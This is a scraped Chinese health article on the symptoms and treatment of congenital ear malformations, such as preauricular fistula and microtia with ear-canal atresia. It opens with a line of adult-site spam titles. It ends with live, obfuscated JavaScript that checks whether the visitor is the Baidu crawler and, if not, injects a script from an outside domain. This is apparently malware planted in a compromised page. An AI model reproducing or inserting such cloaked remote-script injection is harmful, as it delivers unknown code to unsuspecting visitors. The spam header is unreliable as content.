久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁(yè) > 健康 > 常見(jiàn)疾病 > 正文

        耳朵先天性畸形的癥狀是什么?

        2017-06-18 19:55:32  來(lái)源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語(yǔ):朋友們可能經(jīng)常會(huì)在一些小說(shuō)中,看到文中的一些人物出現(xiàn)了耳朵的畸形,不是耳朵變得非常的大,就是耳朵非常的小,甚至還有的人沒(méi)有外邊的耳

        朋友們可能經(jīng)常會(huì)在一些小說(shuō)中,看到文中的一些人物出現(xiàn)了耳朵的畸形,不是耳朵變得非常的大,就是耳朵非常的小,甚至還有的人沒(méi)有外邊的耳廓。其實(shí)這種情況不但是在小說(shuō)中有,在現(xiàn)實(shí)的生活中也有,甚至許多人是先天性的耳朵畸形。那么,這種耳朵先天性的畸形都是什么癥狀呢?

        (1)先天性耳前瘦管。俗稱聰敏眼,是第一鰓溝在胚胎期沒(méi)有完全融合而留下來(lái)的最常見(jiàn)耳病之一。瘦口常位于耳廓前上方,瘺管可有分支,管腔內(nèi)有脫落上皮,擠壓時(shí)有白色臭味分泌物?;摃r(shí)可形成膿腫,需切開(kāi)排膿。反復(fù)化膿易形成膿痞或疤痕,待痊愈后需行瘺管及分支切除術(shù)。如不發(fā)作者一般不需治療。

        (2)先天性小耳及外耳道閉鎖。二者常同時(shí)發(fā)生,前者系第一、二鰓弓,后者為第一鰓溝發(fā)育障礙造成。還可伴有中耳甚至內(nèi)耳畸形。一般這類(lèi)畸可分為三類(lèi):①小耳廓形態(tài)尚可辨認(rèn),耳道閉鎖部分未波及中耳;②耳廓呈條索樣突起,耳道閉鎖伴中耳畸形,聽(tīng)力呈傳音性聾,此型最為常見(jiàn);耳廓?dú)埲眱H存不規(guī)則突起,耳道閉鎖伴中耳畸形并累及內(nèi)耳,聽(tīng)力呈混合聾。此型在臨床上少見(jiàn)。

        如屬二畸形可行手術(shù)治療提高聽(tīng)力,第三類(lèi)畸形因內(nèi)耳功能已受損,不適宜手術(shù)治療。若雙耳畸形、聽(tīng)力下降屬傳音性聾者,應(yīng)在學(xué)習(xí)語(yǔ)言前行一側(cè),讓患兒聽(tīng)到聲音學(xué)習(xí)語(yǔ)言,另一側(cè)耳待成年后再做手術(shù)。耳廓嚴(yán)重畸形者可行耳廓成形或重建術(shù)。

        如果出現(xiàn)了耳朵的外形的畸形,在進(jìn)行產(chǎn)檢的時(shí)候,是可以檢查出來(lái)的,但是如果是耳朵功能受損,可能在產(chǎn)檢的時(shí)候無(wú)法準(zhǔn)確的檢查出來(lái),這樣就會(huì)導(dǎo)致生下的寶寶出現(xiàn)聽(tīng)力的障礙。但是可以通過(guò)積極的治療,讓孩子恢復(fù)聽(tīng)力。

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}